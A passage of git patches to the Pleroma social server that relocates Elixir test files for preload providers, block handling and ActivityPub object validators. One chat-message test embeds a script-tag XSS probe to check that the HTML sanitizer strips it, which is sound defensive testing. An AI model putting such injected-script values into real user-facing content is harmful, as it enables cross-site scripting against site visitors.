Timelines.generate_terms(%{}) + |> Map.fetch!(@public_url) + |> Enum.count() == 1 + end + end +end diff --git a/test/pleroma/web/preload/providers/user_test.exs b/test/pleroma/web/preload/providers/user_test.exs new file mode 100644 index 000000000..83f065e27 --- /dev/null +++ b/test/pleroma/web/preload/providers/user_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.UserTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Preload.Providers.User + + describe "returns empty when user doesn't exist" do + test "nil user specified" do + assert User.generate_terms(%{user: nil}) == %{} + end + + test "missing user specified" do + assert User.generate_terms(%{user: :not_a_user}) == %{} + end + end + + describe "specified user exists" do + setup do + user = insert(:user) + + terms = User.generate_terms(%{user: user}) + %{terms: terms, user: user} + end + + test "account is rendered", %{terms: terms, user: user} do + account = terms["/api/v1/accounts/#{user.id}"] + assert %{acct: user, username: user} = account + end + end +end diff --git a/test/web/preload/instance_test.exs b/test/web/preload/instance_test.exs deleted file mode 100644 index 8493f2a94..000000000 --- a/test/web/preload/instance_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.InstanceTest do - use Pleroma.DataCase - alias Pleroma.Web.Preload.Providers.Instance - - setup do: {:ok, Instance.generate_terms(nil)} - - test "it renders the info", %{"/api/v1/instance" => info} do - assert %{ - description: description, - email: "admin@example.com", - registrations: true - } = info - - assert String.equivalent?(description, "Pleroma: An efficient and flexible fediverse server") - end - - test "it renders the panel", %{"/instance/panel.html" => panel} do - assert String.contains?( - panel, - "<p>Welcome to <a href=\"https://pleroma.social\" target=\"_blank\">Pleroma!</a></p>" - ) - end - - test "it works with overrides" do - clear_config([:instance, :static_dir], "test/fixtures/preload_static") - - %{"/instance/panel.html" => panel} = Instance.generate_terms(nil) - - assert String.contains?( - panel, - "HEY!" - ) - end - - test "it renders the node_info", %{"/nodeinfo/2.0.json" => nodeinfo} do - %{ - metadata: metadata, - version: "2.0" - } = nodeinfo - - assert metadata.private == false - assert metadata.suggestions == %{enabled: false} - end - - test "it renders the frontend configurations", %{ - "/api/pleroma/frontend_configurations" => fe_configs - } do - assert %{ - pleroma_fe: %{background: "/images/city.jpg", logo: "/static/logo.png"} - } = fe_configs - end -end diff --git a/test/web/preload/timeline_test.exs b/test/web/preload/timeline_test.exs deleted file mode 100644 index 3b1f2f1aa..000000000 --- a/test/web/preload/timeline_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.TimelineTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Preload.Providers.Timelines - - @public_url "/api/v1/timelines/public" - - describe "unauthenticated timeliness when restricted" do - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - test "return nothing" do - tl_data = Timelines.generate_terms(%{}) - - refute Map.has_key?(tl_data, "/api/v1/timelines/public") - end - end - - describe "unauthenticated timeliness when unrestricted" do - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], false) - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], false) - - setup do: {:ok, user: insert(:user)} - - test "returns the timeline when not restricted" do - assert Timelines.generate_terms(%{}) - |> Map.has_key?(@public_url) - end - - test "returns public items", %{user: user} do - {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) - - assert Timelines.generate_terms(%{}) - |> Map.fetch!(@public_url) - |> Enum.count() == 3 - end - - test "does not return non-public items", %{user: user} do - {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!", visibility: "unlisted"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!", visibility: "direct"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) - - assert Timelines.generate_terms(%{}) - |> Map.fetch!(@public_url) - |> Enum.count() == 1 - end - end -end diff --git a/test/web/preload/user_test.exs b/test/web/preload/user_test.exs deleted file mode 100644 index 83f065e27..000000000 --- a/test/web/preload/user_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.UserTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Preload.Providers.User - - describe "returns empty when user doesn't exist" do - test "nil user specified" do - assert User.generate_terms(%{user: nil}) == %{} - end - - test "missing user specified" do - assert User.generate_terms(%{user: :not_a_user}) == %{} - end - end - - describe "specified user exists" do - setup do - user = insert(:user) - - terms = User.generate_terms(%{user: user}) - %{terms: terms, user: user} - end - - test "account is rendered", %{terms: terms, user: user} do - account = terms["/api/v1/accounts/#{user.id}"] - assert %{acct: user, username: user} = account - end - end -end -- cgit v1.2.3 From c5efded5fd5d3e75990f694088ad15de76e8d83f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 8 Jul 2020 15:43:14 +0300 Subject: files consistency for new files --- .../transmogrifier/block_handling_test.exs | 63 ++++++++++++++++++++++ .../transmogrifier/block_handling_test.exs | 63 ---------------------- 2 files changed, 63 insertions(+), 63 deletions(-) create mode 100644 test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/block_handling_test.exs (limited to 'test') diff --git a/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs new file mode 100644 index 000000000..71f1a0ed5 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs @@ -0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.BlockHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + test "it works for incoming blocks" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-block-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + blocker = insert(:user, ap_id: data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Block" + assert data["object"] == user.ap_id + assert data["actor"] == "http://mastodon.example.org/users/admin" + + assert User.blocks?(blocker, user) + end + + test "incoming blocks successfully tear down any follow relationship" do + blocker = insert(:user) + blocked = insert(:user) + + data = + File.read!("test/fixtures/mastodon-block-activity.json") + |> Poison.decode!() + |> Map.put("object", blocked.ap_id) + |> Map.put("actor", blocker.ap_id) + + {:ok, blocker} = User.follow(blocker, blocked) + {:ok, blocked} = User.follow(blocked, blocker) + + assert User.following?(blocker, blocked) + assert User.following?(blocked, blocker) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Block" + assert data["object"] == blocked.ap_id + assert data["actor"] == blocker.ap_id + + blocker = User.get_cached_by_ap_id(data["actor"]) + blocked = User.get_cached_by_ap_id(data["object"]) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end +end diff --git a/test/web/activity_pub/transmogrifier/block_handling_test.exs b/test/web/activity_pub/transmogrifier/block_handling_test.exs deleted file mode 100644 index 71f1a0ed5..000000000 --- a/test/web/activity_pub/transmogrifier/block_handling_test.exs +++ /dev/null @@ -1,63 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.BlockHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - test "it works for incoming blocks" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-block-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - blocker = insert(:user, ap_id: data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Block" - assert data["object"] == user.ap_id - assert data["actor"] == "http://mastodon.example.org/users/admin" - - assert User.blocks?(blocker, user) - end - - test "incoming blocks successfully tear down any follow relationship" do - blocker = insert(:user) - blocked = insert(:user) - - data = - File.read!("test/fixtures/mastodon-block-activity.json") - |> Poison.decode!() - |> Map.put("object", blocked.ap_id) - |> Map.put("actor", blocker.ap_id) - - {:ok, blocker} = User.follow(blocker, blocked) - {:ok, blocked} = User.follow(blocked, blocker) - - assert User.following?(blocker, blocked) - assert User.following?(blocked, blocker) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Block" - assert data["object"] == blocked.ap_id - assert data["actor"] == blocker.ap_id - - blocker = User.get_cached_by_ap_id(data["actor"]) - blocked = User.get_cached_by_ap_id(data["object"]) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end -end -- cgit v1.2.3 From b720ad2264cde6e24e63f6cf7f4662731448823b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 10 Jul 2020 13:02:24 +0300 Subject: files consistency after rebase --- .../object_validators/announce_validation_test.exs | 106 +++++++++++ .../attachment_validator_test.exs | 74 +++++++ .../object_validators/block_validation_test.exs | 39 ++++ .../object_validators/chat_validation_test.exs | 212 +++++++++++++++++++++ .../object_validators/delete_validation_test.exs | 106 +++++++++++ .../emoji_react_handling_test.exs | 53 ++++++ .../object_validators/follow_validation_test.exs | 26 +++ .../object_validators/like_validation_test.exs | 113 +++++++++++ .../object_validators/undo_handling_test.exs | 53 ++++++ .../object_validators/update_handling_test.exs | 44 +++++ .../object_validators/announce_validation_test.exs | 106 ----------- .../attachment_validator_test.exs | 74 ------- .../object_validators/block_validation_test.exs | 39 ---- .../object_validators/chat_validation_test.exs | 212 --------------------- .../object_validators/delete_validation_test.exs | 106 ----------- .../emoji_react_validation_test.exs | 53 ------ .../object_validators/follow_validation_test.exs | 26 --- .../object_validators/like_validation_test.exs | 113 ----------- .../object_validators/undo_validation_test.exs | 53 ------ .../object_validators/update_validation_test.exs | 44 ----- 20 files changed, 826 insertions(+), 826 deletions(-) create mode 100644 test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/block_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/like_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/update_handling_test.exs delete mode 100644 test/web/activity_pub/object_validators/announce_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/attachment_validator_test.exs delete mode 100644 test/web/activity_pub/object_validators/block_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/chat_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/delete_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/emoji_react_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/follow_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/like_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/undo_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/update_validation_test.exs (limited to 'test') diff --git a/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs new file mode 100644 index 000000000..4771c4698 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AnnounceValidationTest do + use Pleroma.DataCase + + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "announces" do + setup do + user = insert(:user) + announcer = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + + object = Object.normalize(post_activity, false) + {:ok, valid_announce, []} = Builder.announce(announcer, object) + + %{ + valid_announce: valid_announce, + user: user, + post_activity: post_activity, + announcer: announcer + } + end + + test "returns ok for a valid announce", %{valid_announce: valid_announce} do + assert {:ok, _object, _meta} = ObjectValidator.validate(valid_announce, []) + end + + test "returns an error if the object can't be found", %{valid_announce: valid_announce} do + without_object = + valid_announce + |> Map.delete("object") + + {:error, cng} = ObjectValidator.validate(without_object, []) + + assert {:object, {"can't be blank", [validation: :required]}} in cng.errors + + nonexisting_object = + valid_announce + |> Map.put("object", "https://gensokyo.2hu/objects/99999999") + + {:error, cng} = ObjectValidator.validate(nonexisting_object, []) + + assert {:object, {"can't find object", []}} in cng.errors + end + + test "returns an error if we don't have the actor", %{valid_announce: valid_announce} do + nonexisting_actor = + valid_announce + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + {:error, cng} = ObjectValidator.validate(nonexisting_actor, []) + + assert {:actor, {"can't find user", []}} in cng.errors + end + + test "returns an error if the actor already announced the object", %{ + valid_announce: valid_announce, + announcer: announcer, + post_activity: post_activity + } do + _announce = CommonAPI.repeat(post_activity.id, announcer) + + {:error, cng} = ObjectValidator.validate(valid_announce, []) + + assert {:actor, {"already announced this object", []}} in cng.errors + assert {:object, {"already announced by this actor", []}} in cng.errors + end + + test "returns an error if the actor can't announce the object", %{ + announcer: announcer, + user: user + } do + {:ok, post_activity} = + CommonAPI.post(user, %{status: "a secret post", visibility: "private"}) + + object = Object.normalize(post_activity, false) + + # Another user can't announce it + {:ok, announce, []} = Builder.announce(announcer, object, public: false) + + {:error, cng} = ObjectValidator.validate(announce, []) + + assert {:actor, {"can not announce this object", []}} in cng.errors + + # The actor of the object can announce it + {:ok, announce, []} = Builder.announce(user, object, public: false) + + assert {:ok, _, _} = ObjectValidator.validate(announce, []) + + # The actor of the object can not announce it publicly + {:ok, announce, []} = Builder.announce(user, object, public: true) + + {:error, cng} = ObjectValidator.validate(announce, []) + + assert {:actor, {"can not announce this object publicly", []}} in cng.errors + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs new file mode 100644 index 000000000..558bb3131 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs @@ -0,0 +1,74 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidatorTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator + + import Pleroma.Factory + + describe "attachments" do + test "works with honkerific attachments" do + attachment = %{ + "mediaType" => "", + "name" => "", + "summary" => "298p3RG7j27tfsZ9RQ.jpg", + "type" => "Document", + "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" + } + + assert {:ok, attachment} = + AttachmentValidator.cast_and_validate(attachment) + |> Ecto.Changeset.apply_action(:insert) + + assert attachment.mediaType == "application/octet-stream" + end + + test "it turns mastodon attachments into our attachments" do + attachment = %{ + "url" => + "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", + "type" => "Document", + "name" => nil, + "mediaType" => "image/jpeg" + } + + {:ok, attachment} = + AttachmentValidator.cast_and_validate(attachment) + |> Ecto.Changeset.apply_action(:insert) + + assert [ + %{ + href: + "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", + type: "Link", + mediaType: "image/jpeg" + } + ] = attachment.url + + assert attachment.mediaType == "image/jpeg" + end + + test "it handles our own uploads" do + user = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, attachment} = + attachment.data + |> AttachmentValidator.cast_and_validate() + |> Ecto.Changeset.apply_action(:insert) + + assert attachment.mediaType == "image/jpeg" + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs new file mode 100644 index 000000000..c08d4b2e8 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs @@ -0,0 +1,39 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.BlockValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + + import Pleroma.Factory + + describe "blocks" do + setup do + user = insert(:user, local: false) + blocked = insert(:user) + + {:ok, valid_block, []} = Builder.block(user, blocked) + + %{user: user, valid_block: valid_block} + end + + test "validates a basic object", %{ + valid_block: valid_block + } do + assert {:ok, _block, []} = ObjectValidator.validate(valid_block, []) + end + + test "returns an error if we don't know the blocked user", %{ + valid_block: valid_block + } do + block = + valid_block + |> Map.put("object", "https://gensokyo.2hu/users/raymoo") + + assert {:error, _cng} = ObjectValidator.validate(block, []) + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs new file mode 100644 index 000000000..16e4808e5 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs @@ -0,0 +1,212 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do + use Pleroma.DataCase + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "chat message create activities" do + test "it is invalid if the object already exists" do + user = insert(:user) + recipient = insert(:user) + {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "hey") + object = Object.normalize(activity, false) + + {:ok, create_data, _} = Builder.create(user, object.data, [recipient.ap_id]) + + {:error, cng} = ObjectValidator.validate(create_data, []) + + assert {:object, {"The object to create already exists", []}} in cng.errors + end + + test "it is invalid if the object data has a different `to` or `actor` field" do + user = insert(:user) + recipient = insert(:user) + {:ok, object_data, _} = Builder.chat_message(recipient, user.ap_id, "Hey") + + {:ok, create_data, _} = Builder.create(user, object_data, [recipient.ap_id]) + + {:error, cng} = ObjectValidator.validate(create_data, []) + + assert {:to, {"Recipients don't match with object recipients", []}} in cng.errors + assert {:actor, {"Actor doesn't match with object actor", []}} in cng.errors + end + end + + describe "chat messages" do + setup do + clear_config([:instance, :remote_limit]) + user = insert(:user) + recipient = insert(:user, local: false) + + {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey :firefox:") + + %{user: user, recipient: recipient, valid_chat_message: valid_chat_message} + end + + test "let's through some basic html", %{user: user, recipient: recipient} do + {:ok, valid_chat_message, _} = + Builder.chat_message( + user, + recipient.ap_id, + "hey <a href='https://example.org'>example</a> <script>alert('uguu')</script>" + ) + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["content"] == + "hey <a href=\"https://example.org\">example</a> alert('uguu')" + end + + test "validates for a basic object we build", %{valid_chat_message: valid_chat_message} do + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert Map.put(valid_chat_message, "attachment", nil) == object + assert match?(%{"firefox" => _}, object["emoji"]) + end + + test "validates for a basic object with an attachment", %{ + valid_chat_message: valid_chat_message, + user: user + } do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + valid_chat_message = + valid_chat_message + |> Map.put("attachment", attachment.data) + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["attachment"] + end + + test "validates for a basic object with an attachment in an array", %{ + valid_chat_message: valid_chat_message, + user: user + } do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + valid_chat_message = + valid_chat_message + |> Map.put("attachment", [attachment.data]) + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["attachment"] + end + + test "validates for a basic object with an attachment but without content", %{ + valid_chat_message: valid_chat_message, + user: user + } do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + valid_chat_message = + valid_chat_message + |> Map.put("attachment", attachment.data) + |> Map.delete("content") + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["attachment"] + end + + test "does not validate if the message has no content", %{ + valid_chat_message: valid_chat_message + } do + contentless = + valid_chat_message + |> Map.delete("content") + + refute match?({:ok, _object, _meta}, ObjectValidator.validate(contentless, [])) + end + + test "does not validate if the message is longer than the remote_limit", %{ + valid_chat_message: valid_chat_message + } do + Pleroma.Config.put([:instance, :remote_limit], 2) + refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) + end + + test "does not validate if the recipient is blocking the actor", %{ + valid_chat_message: valid_chat_message, + user: user, + recipient: recipient + } do + Pleroma.User.block(recipient, user) + refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) + end + + test "does not validate if the recipient is not accepting chat messages", %{ + valid_chat_message: valid_chat_message, + recipient: recipient + } do + recipient + |> Ecto.Changeset.change(%{accepts_chat_messages: false}) + |> Pleroma.Repo.update!() + + refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) + end + + test "does not validate if the actor or the recipient is not in our system", %{ + valid_chat_message: valid_chat_message + } do + chat_message = + valid_chat_message + |> Map.put("actor", "https://raymoo.com/raymoo") + + {:error, _} = ObjectValidator.validate(chat_message, []) + + chat_message = + valid_chat_message + |> Map.put("to", ["https://raymoo.com/raymoo"]) + + {:error, _} = ObjectValidator.validate(chat_message, []) + end + + test "does not validate for a message with multiple recipients", %{ + valid_chat_message: valid_chat_message, + user: user, + recipient: recipient + } do + chat_message = + valid_chat_message + |> Map.put("to", [user.ap_id, recipient.ap_id]) + + assert {:error, _} = ObjectValidator.validate(chat_message, []) + end + + test "does not validate if it doesn't concern local users" do + user = insert(:user, local: false) + recipient = insert(:user, local: false) + + {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey") + assert {:error, _} = ObjectValidator.validate(valid_chat_message, []) + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs new file mode 100644 index 000000000..02683b899 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.DeleteValidationTest do + use Pleroma.DataCase + + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "deletes" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "cancel me daddy"}) + + {:ok, valid_post_delete, _} = Builder.delete(user, post_activity.data["object"]) + {:ok, valid_user_delete, _} = Builder.delete(user, user.ap_id) + + %{user: user, valid_post_delete: valid_post_delete, valid_user_delete: valid_user_delete} + end + + test "it is valid for a post deletion", %{valid_post_delete: valid_post_delete} do + {:ok, valid_post_delete, _} = ObjectValidator.validate(valid_post_delete, []) + + assert valid_post_delete["deleted_activity_id"] + end + + test "it is invalid if the object isn't in a list of certain types", %{ + valid_post_delete: valid_post_delete + } do + object = Object.get_by_ap_id(valid_post_delete["object"]) + + data = + object.data + |> Map.put("type", "Like") + + {:ok, _object} = + object + |> Ecto.Changeset.change(%{data: data}) + |> Object.update_and_set_cache() + + {:error, cng} = ObjectValidator.validate(valid_post_delete, []) + assert {:object, {"object not in allowed types", []}} in cng.errors + end + + test "it is valid for a user deletion", %{valid_user_delete: valid_user_delete} do + assert match?({:ok, _, _}, ObjectValidator.validate(valid_user_delete, [])) + end + + test "it's invalid if the id is missing", %{valid_post_delete: valid_post_delete} do + no_id = + valid_post_delete + |> Map.delete("id") + + {:error, cng} = ObjectValidator.validate(no_id, []) + + assert {:id, {"can't be blank", [validation: :required]}} in cng.errors + end + + test "it's invalid if the object doesn't exist", %{valid_post_delete: valid_post_delete} do + missing_object = + valid_post_delete + |> Map.put("object", "http://does.not/exist") + + {:error, cng} = ObjectValidator.validate(missing_object, []) + + assert {:object, {"can't find object", []}} in cng.errors + end + + test "it's invalid if the actor of the object and the actor of delete are from different domains", + %{valid_post_delete: valid_post_delete} do + valid_user = insert(:user) + + valid_other_actor = + valid_post_delete + |> Map.put("actor", valid_user.ap_id) + + assert match?({:ok, _, _}, ObjectValidator.validate(valid_other_actor, [])) + + invalid_other_actor = + valid_post_delete + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + {:error, cng} = ObjectValidator.validate(invalid_other_actor, []) + + assert {:actor, {"is not allowed to modify object", []}} in cng.errors + end + + test "it's valid if the actor of the object is a local superuser", + %{valid_post_delete: valid_post_delete} do + user = + insert(:user, local: true, is_moderator: true, ap_id: "https://gensokyo.2hu/users/raymoo") + + valid_other_actor = + valid_post_delete + |> Map.put("actor", user.ap_id) + + {:ok, _, meta} = ObjectValidator.validate(valid_other_actor, []) + assert meta[:do_not_federate] + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs new file mode 100644 index 000000000..582e6d785 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.EmojiReactHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "EmojiReacts" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + + object = Pleroma.Object.get_by_ap_id(post_activity.data["object"]) + + {:ok, valid_emoji_react, []} = Builder.emoji_react(user, object, "👌") + + %{user: user, post_activity: post_activity, valid_emoji_react: valid_emoji_react} + end + + test "it validates a valid EmojiReact", %{valid_emoji_react: valid_emoji_react} do + assert {:ok, _, _} = ObjectValidator.validate(valid_emoji_react, []) + end + + test "it is not valid without a 'content' field", %{valid_emoji_react: valid_emoji_react} do + without_content = + valid_emoji_react + |> Map.delete("content") + + {:error, cng} = ObjectValidator.validate(without_content, []) + + refute cng.valid? + assert {:content, {"can't be blank", [validation: :required]}} in cng.errors + end + + test "it is not valid with a non-emoji content field", %{valid_emoji_react: valid_emoji_react} do + without_emoji_content = + valid_emoji_react + |> Map.put("content", "x") + + {:error, cng} = ObjectValidator.validate(without_emoji_content, []) + + refute cng.valid? + + assert {:content, {"must be a single character emoji", []}} in cng.errors + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs new file mode 100644 index 000000000..6e1378be2 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs @@ -0,0 +1,26 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.FollowValidationTest do + use Pleroma.DataCase + + alias 